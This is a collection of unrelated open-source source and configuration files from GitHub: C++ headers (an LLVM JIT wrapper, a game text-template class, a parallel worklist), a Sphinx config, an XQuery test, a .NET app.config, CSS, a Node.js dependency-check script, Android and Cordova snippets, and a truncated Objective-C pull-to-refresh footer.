file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
=============================================================================*/
#if !defined(BOOST_SPIRIT_CONJURE_VM_HPP)
#define BOOST_SPIRIT_CONJURE_VM_HPP
#include <llvm/ExecutionEngine/ExecutionEngine.h>
#include <llvm/ExecutionEngine/JIT.h>
#include <llvm/LLVMContext.h>
#include <llvm/Module.h>
#include <llvm/Target/TargetData.h>
#include <llvm/Target/TargetSelect.h>
#include <boost/assert.hpp>
namespace client
{
class vmachine;
///////////////////////////////////////////////////////////////////////////
// A light wrapper to a function pointer returning int and accepting
// from 0 to 3 arguments, where arity is determined at runtime.
///////////////////////////////////////////////////////////////////////////
class function
{
public:
typedef int result_type;
int operator()() const
{
BOOST_ASSERT(fptr != 0);
BOOST_ASSERT(arity() == 0);
int (*fp)() = (int(*)())(intptr_t)fptr;
return fp();
}
int operator()(int _1) const
{
BOOST_ASSERT(fptr != 0);
BOOST_ASSERT(arity() == 1);
int (*fp)(int) = (int(*)(int))(intptr_t)fptr;
return fp(_1);
}
int operator()(int _1, int _2) const
{
BOOST_ASSERT(fptr != 0);
BOOST_ASSERT(arity() == 2);
int (*fp)(int, int) = (int(*)(int, int))(intptr_t)fptr;
return fp(_1, _2);
}
int operator()(int _1, int _2, int _3) const
{
BOOST_ASSERT(fptr != 0);
BOOST_ASSERT(arity() == 3);
int (*fp)(int, int, int) = (int(*)(int, int, int))(intptr_t)fptr;
return fp(_1, _2, _3);
}
unsigned arity() const { return arity_; }
bool operator!() const { return fptr == 0; }
private:
friend class vmachine;
function(void* fptr, unsigned arity_)
: fptr(fptr), arity_(arity_) {}
void* fptr;
unsigned arity_;
};
///////////////////////////////////////////////////////////////////////////
// The Virtual Machine (light wrapper over LLVM JIT)
///////////////////////////////////////////////////////////////////////////
class vmachine
{
public:
vmachine();
llvm::Module* module() const
{
return module_;
}
llvm::ExecutionEngine* execution_engine() const
{
return execution_engine_;
}
void print_assembler() const
{
module_->dump();
}
function get_function(char const* name)
{
llvm::Function* callee = module_->getFunction(name);
if (callee == 0)
return function(0, 0);
// JIT the function
void *fptr = execution_engine_->getPointerToFunction(callee);
return function(fptr, callee->arg_size());
}
private:
llvm::Module* module_;
llvm::ExecutionEngine* execution_engine_;
};
}
#endif
| {
"pile_set_name": "Github"
} |
#ifndef _VarText_h_
#define _VarText_h_
//! @file
//! Declares the VarText class.
#include <map>
#include <string>
#include <vector>
#include <boost/serialization/access.hpp>
#include <boost/serialization/nvp.hpp>
#include "Export.h"
//! Provides a lazy evaluated template string with named variable tags.
//!
//! VarText is a template string tagged with variable names which are
//! substituted with actual data when when calling VarText::GetText().
//!
//! The format for VarText template string consists of named variable tags
//! enclosed by percent signs (%). Depending on the parameter tag used the
//! value assigned to a named parameter will be evaluated with the known name of
//! the object. When using multiple named variable tags it is possible to
//! separate the tag with an double colon (:) from an identifing label. The
//! label should be limited to lower case latin characters and the underscore.
//!
//! See @ref variable_tags "Variable Tags" for a list of supported variable
//! tags.
//!
//!
//! For example: When assigning template string:
//!
//! On %planet%: the %building% has been produced.
//!
//! to a VarText instance it declares the two named variable tags @e %%planet%
//! and @e %%building%.
//!
//! By calling VarText::AddVariable() identifiers can be assigned to those named
//! variable tags. For example:
//!
//! ```{.cpp}
//! // the_capital_planet.VisibleName() == "Garmillas II"
//! var_text.AddVariable("planet", the_capital_planet.ID());
//! // the_imperial_palace.VisibleName() == "Imperial Palace"
//! var_text.AddVariable("building", the_imperial_palace.ID());
//! ```
//!
//! Now when calling VarText::GetText() the references are replaced with the
//! actual object name (assuming the resolver can see all the objects):
//!
//! On Garmillas II: the Imperial Palace has been produced.
//!
//! In case there are multiple named variable tags of the same type it is
//! possible to add labels to distinguish those. For example the template
//! string:
//!
//! In %system%: "%fleet:defender%" was overrun by "%fleet:attacker%"
//!
//! where the name variable tags are set to:
//!
//! ```{.cpp}
//! // the_battleground.VisibleName() == "Balun"
//! var_text.AddVariable("system", the_battleground.ID());
//! // the_defender_fleet.VisibleName() == "Great Garmillas Armada"
//! var_text.AddVariable("fleet:defender", the_defender_fleet.ID());
//! // the_attacker_fleet.VisibleName() == "UNCN Special Ops fleet"
//! var_text.AddVariable("fleet:attacker", the_attacker_fleet.ID());
//! ```
//!
//! would resolve into:
//!
//! In Balun: "Geat Garmillas Armada" was overrun by "UNCN Special Ops fleet"
class FO_COMMON_API VarText {
public:
//! Create a VarText instance with an empty #m_template_string.
VarText();
//! Create a VarText instance from the given @p template_string.
//!
//! @param template_string @see #m_template_string.
//! @param stringtable_lookup @see #m_stringtable_lookup_flag
explicit VarText(std::string template_string, bool stringtable_lookup = true);
//! Return the text generated after substituting all variables.
const std::string& GetText() const;
//! Return if the text substitution was successful.
bool Validate() const;
//! Return the #m_template_string
const std::string& GetTemplateString() const
{ return m_template_string; }
//! Return the #m_stringtable_lookup_flag
bool GetStringtableLookupFlag() const
{ return m_stringtable_lookup_flag; }
//! Return the variables available for substitution.
std::vector<std::string> GetVariableTags() const;
//! Set the #m_template_string to the given @p template_string.
//!
//! @param template_string @see #m_template_string.
//! @param stringtable_lookup @see #m_stringtable_lookup_flag
void SetTemplateString(std::string template_string, bool stringtable_lookup = true);
//! Assign @p data to a given @p tag. Overwrites / replaces data of existing tags.
//!
//! The @p data should match @p tag as listed in
//! @ref variable_tags "Variable tags".
//!
//! @param tag
//! Tag of the #m_variables set, may be labled.
//! @param data
//! Data value of the #m_variables set.
void AddVariable(const std::string& tag, const std::string& data);
//! Assign @p data to a given @p tag. Overwrites / replaces data of existing tags.
//!
//! The @p data should match @p tag as listed in
//! @ref variable_tags "Variable tags".
//!
//! @param tag
//! Tag of the #m_variables set, may be labled.
//! @param data
//! Data value of the #m_variables set.
void AddVariable(const std::string& tag, std::string&& data);
//! Assign @p data as tags. Does not overwrite or replace data of existing tags.
//!
//! The @p data should match tags as listed in
//! @ref variable_tags "Variable tags".
//!
//! @param data
//! Tag and Data values of the #m_variables set.
void AddVariables(std::vector<std::pair<std::string, std::string>>&& data);
//! @name Variable tags
//! @anchor variable_tags
//!
//! Tag strings that are recognized and replaced in VarText with the
//! corresponding reference to an specific game entity.
//!
//! @{
//! Variable value is a StringTable key.
static const std::string TEXT_TAG;
//! Variable value is a literal string.
static const std::string RAW_TEXT_TAG;
//! Variable value is a Planet::ID().
static const std::string PLANET_ID_TAG;
//! Variable value is a System::ID().
static const std::string SYSTEM_ID_TAG;
//! Variable value is a Ship::ID().
static const std::string SHIP_ID_TAG;
//! Variable value is a Fleet::ID().
static const std::string FLEET_ID_TAG;
//! Variable value is a Building::ID().
static const std::string BUILDING_ID_TAG;
//! Variable value is a Field::ID().
static const std::string FIELD_ID_TAG;
//! Variable value represents a CombatLog.
static const std::string COMBAT_ID_TAG;
//! Variable value is an Empire::EmpireID().
static const std::string EMPIRE_ID_TAG;
//! Variable value is a ShipDesign::ID().
static const std::string DESIGN_ID_TAG;
//! Variable value is a ShipDesign::ID() of a predefined ShipDesign.
static const std::string PREDEFINED_DESIGN_TAG;
//! Variable value is a Tech::Name().
static const std::string TECH_TAG;
//! Variable value is a Policy::Name().
static const std::string POLICY_TAG;
//! Variable value is a BuildingType::Name().
static const std::string BUILDING_TYPE_TAG;
//! Variable value is a Special::Name().
static const std::string SPECIAL_TAG;
//! Variable value is a ShipHull::Name().
static const std::string SHIP_HULL_TAG;
//! Variable value is a ShipPart::Name().
static const std::string SHIP_PART_TAG;
//! Variable value is a Species::Name().
static const std::string SPECIES_TAG;
//! Variable value is a FieldType::Name().
static const std::string FIELD_TYPE_TAG;
//! Variable value is a predefined MeterType string representation.
static const std::string METER_TYPE_TAG;
//! @}
protected:
//! Combines the template with the variables contained in object to
//! create a string with variables replaced with text.
void GenerateVarText() const;
//! The template text used by this VarText, into which variables are
//! substituted to render the text as user-readable.
//!
//! @see #m_stringtable_lookup_flag
std::string m_template_string;
//! If true the #m_template_string will be looked up in the stringtable
//! prior to substitution for variables.
bool m_stringtable_lookup_flag = false;
//! Maps variable tags into values, which are used during text substitution.
std::map<std::string, std::string> m_variables;
//! #m_template_string with applied #m_variables substitute.
mutable std::string m_text;
//! True if the #m_template_string stubstitution was executed without
//! errors.
mutable bool m_validated = false;
private:
friend class boost::serialization::access;
template <typename Archive>
void serialize(Archive& ar, const unsigned int version);
};
template <typename Archive>
void VarText::serialize(Archive& ar, const unsigned int version)
{
ar & BOOST_SERIALIZATION_NVP(m_template_string)
& BOOST_SERIALIZATION_NVP(m_stringtable_lookup_flag)
& BOOST_SERIALIZATION_NVP(m_variables);
}
#endif
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
#
# Rematch documentation build configuration file, created by
# sphinx-quickstart on Mon Jan 30 23:39:51 2017.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
import os
# import sys
# sys.path.insert(0, os.path.abspath('.'))
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = ['sphinx.ext.autodoc',
'sphinx.ext.doctest',
'sphinx.ext.todo',
'sphinx.ext.autosectionlabel']
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'Rematch'
copyright = u'2017-2018, Nir Izraeli'
author = u'Nir Izraeli'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u''
# The full version, including alpha/beta/rc tags.
release = u''
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store', 'venv-*', 'venv/*']
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
# Taken from docs.readthedocs.io:
# on_rtd is whether we are on readthedocs.io
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd: # only import and set the theme if we're building docs locally
import sphinx_rtd_theme
html_theme = 'sphinx_rtd_theme'
html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
html_context = {
"display_github": True, # Integrate GitHub
"github_user": "nirizr", # Username
"github_repo": "rematch", # Repo name
"github_version": "master", # Version
"conf_py_path": "/docs/", # Path in the checkout to the docs root
}
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
# html_static_path = ['static']
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'Rematchdoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'Rematch.tex', u'Rematch Documentation',
u'Nir Izraeli', 'manual'),
]
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'rematch', u'Rematch Documentation',
[author], 1)
]
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'Rematch', u'Rematch Documentation',
author, 'Rematch', 'One line description of project.',
'Miscellaneous'),
]
| {
"pile_set_name": "Github"
} |
/*
* This file belongs to the Galois project, a C++ library for exploiting
* parallelism. The code is being released under the terms of the 3-Clause BSD
* License (a copy is located in LICENSE.txt at the top-level directory).
*
* Copyright (C) 2018, The University of Texas at Austin. All rights reserved.
* UNIVERSITY EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES CONCERNING THIS
* SOFTWARE AND DOCUMENTATION, INCLUDING ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR ANY PARTICULAR PURPOSE, NON-INFRINGEMENT AND WARRANTIES OF
* PERFORMANCE, AND ANY WARRANTY THAT MIGHT OTHERWISE ARISE FROM COURSE OF
* DEALING OR USAGE OF TRADE. NO WARRANTY IS EITHER EXPRESS OR IMPLIED WITH
* RESPECT TO THE USE OF THE SOFTWARE OR DOCUMENTATION. Under no circumstances
* shall University be liable for incidental, special, indirect, direct or
* consequential damages or loss of profits, interruption of business, or
* related expenses which may arise from use of Software or Documentation,
* including but not limited to those resulting from defects in Software and/or
* Documentation, or loss or inaccuracy of data of any kind.
*/
#ifndef GALOIS_WORKLIST_STABLEITERATOR_H
#define GALOIS_WORKLIST_STABLEITERATOR_H
#include "galois/config.h"
#include "galois/gstl.h"
#include "galois/worklists/Chunk.h"
namespace galois {
namespace worklists {
/**
* Low-overhead worklist when initial range is not invalidated by the
* operator.
*
* @tparam Steal Try workstealing on initial ranges
* @tparam Container Worklist to manage work enqueued by the operator
* @tparam Iterator (inferred by library)
*/
template <bool Steal = false, typename Container = PerSocketChunkFIFO<>,
typename Iterator = int*>
struct StableIterator {
typedef typename std::iterator_traits<Iterator>::value_type value_type;
typedef Iterator iterator;
//! change the type the worklist holds
template <typename _T>
using retype =
StableIterator<Steal, typename Container::template retype<_T>, Iterator>;
template <bool b>
using rethread =
StableIterator<Steal, typename Container::template rethread<b>, Iterator>;
template <typename _iterator>
struct with_iterator {
typedef StableIterator<Steal, Container, _iterator> type;
};
template <bool _steal>
struct with_steal {
typedef StableIterator<_steal, Container, Iterator> type;
};
template <typename _container>
struct with_container {
typedef StableIterator<Steal, _container, Iterator> type;
};
private:
struct shared_state {
Iterator stealBegin;
Iterator stealEnd;
substrate::SimpleLock stealLock;
bool stealAvail;
};
struct state {
substrate::CacheLineStorage<shared_state> stealState;
Iterator localBegin;
Iterator localEnd;
unsigned int nextVictim;
unsigned int numStealFailures;
void populateSteal() {
if (Steal && localBegin != localEnd) {
shared_state& s = stealState.data;
s.stealLock.lock();
s.stealEnd = localEnd;
s.stealBegin = localEnd = galois::split_range(localBegin, localEnd);
if (s.stealBegin != s.stealEnd)
s.stealAvail = true;
s.stealLock.unlock();
}
}
};
substrate::PerThreadStorage<state> TLDS;
Container inner;
bool doSteal(state& dst, state& src, bool wait) {
shared_state& s = src.stealState.data;
if (s.stealAvail) {
if (wait) {
s.stealLock.lock();
} else if (!s.stealLock.try_lock()) {
return false;
}
if (s.stealBegin != s.stealEnd) {
dst.localBegin = s.stealBegin;
s.stealBegin = dst.localEnd =
galois::split_range(s.stealBegin, s.stealEnd);
s.stealAvail = s.stealBegin != s.stealEnd;
}
s.stealLock.unlock();
}
return dst.localBegin != dst.localEnd;
}
// pop already failed, try again with stealing
galois::optional<value_type> pop_steal(state& data) {
// always try stealing self
if (doSteal(data, data, true))
return *data.localBegin++;
// only try stealing one other
if (doSteal(data, *TLDS.getRemote(data.nextVictim), false)) {
// share the wealth
if (data.nextVictim != substrate::ThreadPool::getTID())
data.populateSteal();
return *data.localBegin++;
}
++data.nextVictim;
++data.numStealFailures;
data.nextVictim %= runtime::activeThreads;
return galois::optional<value_type>();
}
public:
//! push initial range onto the queue
//! called with the same b and e on each thread
template <typename RangeTy>
void push_initial(const RangeTy& r) {
state& data = *TLDS.getLocal();
auto lp = r.local_pair();
data.localBegin = lp.first;
data.localEnd = lp.second;
data.nextVictim = substrate::ThreadPool::getTID();
data.numStealFailures = 0;
data.populateSteal();
}
//! pop a value from the queue.
galois::optional<value_type> pop() {
state& data = *TLDS.getLocal();
if (data.localBegin != data.localEnd)
return *data.localBegin++;
galois::optional<value_type> item;
if (Steal && 2 * data.numStealFailures > runtime::activeThreads)
if ((item = pop_steal(data)))
return item;
if ((item = inner.pop()))
return item;
if (Steal)
return pop_steal(data);
return item;
}
void push(const value_type& val) { inner.push(val); }
template <typename Iter>
void push(Iter b, Iter e) {
while (b != e)
push(*b++);
}
};
GALOIS_WLCOMPILECHECK(StableIterator)
} // namespace worklists
} // namespace galois
#endif
| {
"pile_set_name": "Github"
} |
(:
: Copyright 2006-2009 The FLWOR Foundation.
:
: Licensed under the Apache License, Version 2.0 (the "License");
: you may not use this file except in compliance with the License.
: You may obtain a copy of the License at
:
: http://www.apache.org/licenses/LICENSE-2.0
:
: Unless required by applicable law or agreed to in writing, software
: distributed under the License is distributed on an "AS IS" BASIS,
: WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
: See the License for the specific language governing permissions and
: limitations under the License.
:)
import module namespace ext = "http://www.zorba-xquery.com/m" at "file:///${CMAKE_CURRENT_BINARY_DIR}/ext_mod2.xq";
ext:bar5()
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Caliburn.Micro" publicKeyToken="8e5891231f2ed21f" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Autofac" publicKeyToken="17863af14b0044da" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-3.5.0.0" newVersion="3.5.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Reactive.Interfaces" publicKeyToken="94bc3704cddfc263" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-3.0.1000.0" newVersion="3.0.1000.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Threading.Tasks.Dataflow" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.6.1.0" newVersion="4.6.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Reactive.Core" publicKeyToken="94bc3704cddfc263" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-3.0.1000.0" newVersion="3.0.1000.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Collections.Immutable" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-1.2.1.0" newVersion="1.2.1.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Reactive.Linq" publicKeyToken="94bc3704cddfc263" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-3.0.1000.0" newVersion="3.0.1000.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.ValueTuple" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.1.1" newVersion="4.0.1.1" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Castle.Core" publicKeyToken="407dd0808d44fbdc" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Serilog.Sinks.Console" publicKeyToken="24c2f752a8e58a10" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-3.1.0.0" newVersion="3.1.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.6.0" newVersion="4.0.6.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" />
</dependentAssembly>
</assemblyBinding>
<enforceFIPSPolicy enabled="false" />
</runtime>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
</startup>
</configuration>
| {
"pile_set_name": "Github"
} |
.panel {
overflow: hidden;
text-align: left;
margin: 0;
border: 0;
-moz-border-radius: 0 0 0 0;
-webkit-border-radius: 0 0 0 0;
border-radius: 0 0 0 0;
}
.panel-header,
.panel-body {
border-width: 1px;
border-style: solid;
}
.panel-header {
padding: 5px;
position: relative;
}
.panel-title {
background: url('images/blank.gif') no-repeat;
}
.panel-header-noborder {
border-width: 0 0 1px 0;
}
.panel-body {
overflow: auto;
border-top-width: 0;
padding: 0;
}
.panel-body-noheader {
border-top-width: 1px;
}
.panel-body-noborder {
border-width: 0px;
}
.panel-with-icon {
padding-left: 18px;
}
.panel-icon,
.panel-tool {
position: absolute;
top: 50%;
margin-top: -8px;
height: 16px;
overflow: hidden;
}
.panel-icon {
left: 5px;
width: 16px;
}
.panel-tool {
right: 5px;
width: auto;
}
.panel-tool a {
display: inline-block;
width: 16px;
height: 16px;
opacity: 0.6;
filter: alpha(opacity=60);
margin: 0 0 0 2px;
vertical-align: top;
}
.panel-tool a:hover {
opacity: 1;
filter: alpha(opacity=100);
background-color: #fff0e7;
-moz-border-radius: -2px -2px -2px -2px;
-webkit-border-radius: -2px -2px -2px -2px;
border-radius: -2px -2px -2px -2px;
}
.panel-loading {
padding: 11px 0px 10px 30px;
}
.panel-noscroll {
overflow: hidden;
}
.panel-fit,
.panel-fit body {
height: 100%;
margin: 0;
padding: 0;
border: 0;
overflow: hidden;
}
.panel-loading {
background: url('images/loading.gif') no-repeat 10px 10px;
}
.panel-tool-close {
background: url('images/panel_tools.png') no-repeat -16px 0px;
}
.panel-tool-min {
background: url('images/panel_tools.png') no-repeat 0px 0px;
}
.panel-tool-max {
background: url('images/panel_tools.png') no-repeat 0px -16px;
}
.panel-tool-restore {
background: url('images/panel_tools.png') no-repeat -16px -16px;
}
.panel-tool-collapse {
background: url('images/panel_tools.png') no-repeat -32px 0;
}
.panel-tool-expand {
background: url('images/panel_tools.png') no-repeat -32px -16px;
}
.panel-header,
.panel-body {
border-color: #f6c1bc;
}
.panel-header {
background-color: #f0e1e3;
}
.panel-body {
background-color: #fafafa;
color: #404040;
font-size: 12px;
}
.panel-title {
font-size: 12px;
font-weight: bold;
color: #404040;
height: 16px;
line-height: 16px;
}
| {
"pile_set_name": "Github"
} |
"use strict";
/**
*
* NOTE: this file is actually maintained centrally in a directory in our repo.
*
* There are many duplicate copies of it in each opt- package, but not as a
* npm module, because the opt- package needs this upfront for the npm script
* prepare. They each copy it from the central one.
*/
const Path = require("path");
const Fs = require("fs");
const assert = require("assert");
const isSameMajorVersion = (verA, verB) => {
// check for simple semver like x.x.x, ~x.x.x, or ^x.x.x only
let majorA = verA.match(/[\~\^]{0,1}(\d+)\.(\d+)\.(\d+)/);
if (majorA) {
majorA = majorA.slice(1, 4);
const majorB = verB.split(".");
if (majorB[0] !== majorA[0] || (majorB[0] === "0" && majorB[1] !== majorA[1])) {
return false;
}
}
return true;
};
function lookupAppDirByInitCwd() {
//
// env INIT_CWD is set by npm to the dir where it started running.
// Note that it's not strictly where package.json is, because npm
// would search up the directories for the first package.json found,
// which is why the we need to do the same search up lookup below.
//
let lookupDir = process.env.INIT_CWD;
if (!lookupDir) return undefined;
let count = 0;
while (count < 100) {
const pkgFile = Path.join(lookupDir, "package.json");
try {
require(pkgFile);
return lookupDir;
} catch (err) {
//
}
const upDir = Path.join(lookupDir, "..");
if (upDir === lookupDir) return undefined;
lookupDir = upDir;
count++;
}
return undefined;
}
const cwd = process.env.PWD || process.cwd();
//
// Trying to find the app's dir by checking for the first
// node_modules in the path string
// For example, /home/userid/myapp/node_modules/electrode-archetype-opt-react
// would yield app dir as /home/userid/myapp
//
function findAppDir() {
if (cwd.indexOf("node_modules") > 0) {
const splits = cwd.split("node_modules");
return Path.dirname(Path.join(splits[0], "x")); // remove trailing slash
}
return cwd;
}
function checkAppPackage(appDir) {
try {
return JSON.parse(Fs.readFileSync(Path.join(appDir, "./package.json")).toString());
} catch (e) {
return {};
}
}
function xarcOptCheck() {
//
// Find the app's dir by using npm's INIT_CWD and then fallback to
// looking for node_modules in the path
//
const appDir = lookupAppDirByInitCwd() || findAppDir();
const appPkg = checkAppPackage(appDir);
const myPkg = JSON.parse(Fs.readFileSync(Path.join(__dirname, "./package.json")).toString());
const myName = myPkg.name;
const optParams = Object.assign({}, myPkg.xarcOptCheck);
const done = (pass, message) => {
return Object.assign({ pass, message }, optParams);
};
//
// just the package itself
//
if (cwd === appDir && myName === appPkg.name) {
return done(true, "self");
}
assert(
optParams.hasOwnProperty("optionalTagName"),
`opt archetype ${myName}: package.json missing xarcOptCheck.optionalTagName`
);
const optionalTagName = optParams.optionalTagName;
let foundOOO = [];
//
// If a workspace detected, then we don't know how dependencies are setup, so
// skip checking.
//
if (!appPkg.workspaces && optParams.onlyOneOf) {
// first, user's package.json cannot have multiple packages from onlyOneOf list
["dependencies", "devDependencies", "optionalDependencies"].forEach(x => {
if (appPkg[x]) {
foundOOO = foundOOO.concat(optParams.onlyOneOf.filter(n => appPkg[x].hasOwnProperty(n)));
}
});
if (foundOOO.length > 1) {
return done(
false,
`
ERROR
ERROR: you can have *only* ONE of these packages in your package.json dependencies/devDependencies/optionalDependencies.
ERROR: ${foundOOO.join(", ")}
ERROR
`
);
}
// If found a mutually excluding package but it's not this one, then skip installing this.
if (foundOOO.length > 0 && foundOOO.indexOf(myName) < 0) {
return done(
false,
`Found ${foundOOO[0]} in your package.json and \
it excludes this package ${myName} - skip installing`
);
}
}
return done(true);
}
module.exports = xarcOptCheck;
if (require.main === module) {
const r = xarcOptCheck();
if (r.pass) {
if (r.message) {
console.log(r.message);
}
} else {
console.error(r.message);
}
process.exit(r.pass ? 0 : 1);
}
module.exports.isSameMajorVersion = isSameMajorVersion;
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon
xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon> | {
"pile_set_name": "Github"
} |
cordova.define("WhiteList.whitelist", function(require, exports, module) {
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*/
if (!document.querySelector('meta[http-equiv=Content-Security-Policy]')) {
var msg = 'No Content-Security-Policy meta tag found. Please add one when using the cordova-plugin-whitelist plugin.';
console.error(msg);
setInterval(function() {
console.warn(msg);
}, 10000);
}
});
| {
"pile_set_name": "Github"
} |
//
// MJRefreshBackFooter.m
// MJRefreshExample
//
// Created by MJ Lee on 15/4/24.
// Copyright (c) 2015年 小码哥. All rights reserved.
//
#import "MJRefreshBackFooter.h"
@interface MJRefreshBackFooter()
@property (assign, nonatomic) NSInteger lastRefreshCount;
@property (assign, nonatomic) CGFloat lastBottomDelta;
@end
@implementation MJRefreshBackFooter
#pragma mark - 初始化
- (void)willMoveToSuperview:(UIView *)newSuperview
{
[super willMoveToSuperview:newSuperview];
[self scrollViewContentSizeDidChange:nil];
}
#pragma mark - 实现父类的方法
- (void)scrollViewContentOffsetDidChange:(NSDictionary *)change
{
[super scrollViewContentOffsetDidChange:change];
// 如果正在刷新,直接返回
if (self.state == MJRefreshStateRefreshing) return;
_scrollViewOriginalInset = self.scrollView.mj_inset;
// 当前的contentOffset
CGFloat currentOffsetY = self.scrollView.mj_offsetY;
// 尾部控件刚好出现的offsetY
CGFloat happenOffsetY = [self happenOffsetY];
// 如果是向下滚动到看不见尾部控件,直接返回
if (currentOffsetY <= happenOffsetY) return;
CGFloat pullingPercent = (currentOffsetY - happenOffsetY) / self.mj_h;
// 如果已全部加载,仅设置pullingPercent,然后返回
if (self.state == MJRefreshStateNoMoreData) {
self.pullingPercent = pullingPercent;
return;
}
if (self.scrollView.isDragging) {
self.pullingPercent = pullingPercent;
// 普通 和 即将刷新 的临界点
CGFloat normal2pullingOffsetY = happenOffsetY + self.mj_h;
if (self.state == MJRefreshStateIdle && currentOffsetY > normal2pullingOffsetY) {
// 转为即将刷新状态
self.state = MJRefreshStatePulling;
} else if (self.state == MJRefreshStatePulling && currentOffsetY <= normal2pullingOffsetY) {
// 转为普通状态
self.state = MJRefreshStateIdle;
}
} else if (self.state == MJRefreshStatePulling) {// 即将刷新 && 手松开
// 开始刷新
[self beginRefreshing];
} else if (pullingPercent < 1) {
self.pullingPercent = pullingPercent;
}
}
- (void)scrollViewContentSizeDidChange:(NSDictionary *)change
{
[super scrollViewContentSizeDidChange:change];
